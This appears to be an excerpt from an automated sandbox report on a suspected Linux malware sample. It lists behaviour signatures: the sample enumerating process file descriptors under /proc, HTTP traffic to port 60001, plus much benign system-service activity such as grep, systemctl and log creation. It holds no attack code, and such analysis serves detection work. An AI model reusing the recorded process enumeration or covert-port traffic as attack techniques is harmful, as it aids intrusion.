Source: /bin/sh (PID: 5821)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5823)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5825)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5828)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5831)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5833)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5838)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5840)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5928)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5931)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5935)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5938)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5942)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5944)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5950)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5952)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

Reads system information from the proc file system

Source: /lib/systemd/systemd-journald (PID: 5321)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 5850)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 5925)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6033)	Reads from proc file: /proc/meminfo

Enumerates processes within the "proc" file system

Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/796/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/799/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/785/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/788/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/789/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/847/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/904/fd	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/environ
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sched
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /usr/sbin/invoke-rc.d (PID: 5238)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5243)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5247)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Creates hidden files and/or directories

Source: /usr/bin/whoopsie (PID: 5383)	Directory: /nonexistent/.cache	Jump to behavior
Source: /usr/lib/policykit-1/polkitd (PID: 5454)	Directory: /root/.cache	Jump to behavior
Source: /usr/lib/gdm3/gdm-wayland-session (PID: 5525)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5567)	Directory: /nonexistent/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5669)	Directory: /nonexistent/.cache	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5750)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 5852)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 5929)	Directory: /nonexistent/.cache
Source: /usr/lib/policykit-1/polkitd (PID: 6024)	Directory: /root/.cache
Source: /usr/bin/whoopsie (PID: 6029)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 6049)	Directory: /nonexistent/.cache

Sample tries to set the executable flag

Source: /usr/sbin/gdm3 (PID: 5498)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5498)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5697)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5697)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /usr/sbin/logrotate (PID: 5234)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 5245)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5471)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5473)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5475)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5477)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5479)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5482)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5484)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5488)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/share/language-tools/language-options (PID: 5516)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5634)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5636)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5639)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5641)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5643)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5645)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5650)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5654)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/share/language-tools/language-options (PID: 5753)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "
Source: /usr/bin/gpu-manager (PID: 5820)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5822)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5824)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5827)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5830)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5832)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5837)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5839)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5927)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5930)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5934)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5936)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5940)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5943)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5949)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5951)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"

Source: /usr/sbin/rsyslogd (PID: 5459)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5459)	Log file created: /var/log/kern.log
Source: /usr/bin/gpu-manager (PID: 5470)	Log file created: /var/log/gpu-manager.log
Source: /usr/bin/gpu-manager (PID: 5633)	Log file created: /var/log/gpu-manager.log
Source: /usr/sbin/rsyslogd (PID: 5653)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5653)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5734)	Log file created: /var/log/kern.log
Source: /usr/bin/gpu-manager (PID: 5762)	Log file created: /var/log/gpu-manager.log
Source: /usr/sbin/rsyslogd (PID: 5843)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5843)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5917)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5917)	Log file created: /var/log/auth.log
Source: /usr/bin/gpu-manager (PID: 5926)	Log file created: /var/log/gpu-manager.log	Jump to dropped file
Source: /usr/sbin/rsyslogd (PID: 6021)	Log file created: /var/log/auth.log	Jump to dropped file
Source: /usr/sbin/rsyslogd (PID: 6021)	Log file created: /var/log/kern.log	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
